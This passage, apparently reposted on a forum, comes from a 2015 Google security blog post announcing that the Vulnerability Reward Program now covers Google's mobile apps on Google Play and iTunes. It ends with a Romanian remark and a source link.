regular rewards for the bugs they discover. To learn more about the current grants, and review your eligibility, have a look at our rules page. Second, also starting today, all mobile applications officially developed by Google on Google Play and iTunes will now be within the scope of the Vulnerability Reward Program. We’re looking forward to continuing our close partnership with the security community and rewarding them for their time and efforts in 2015! Ati ghicit, e membru RST. Sursa: http://googleonlinesecurity.blogspot.ro/2015/01/security-reward-programs-year-in-review.html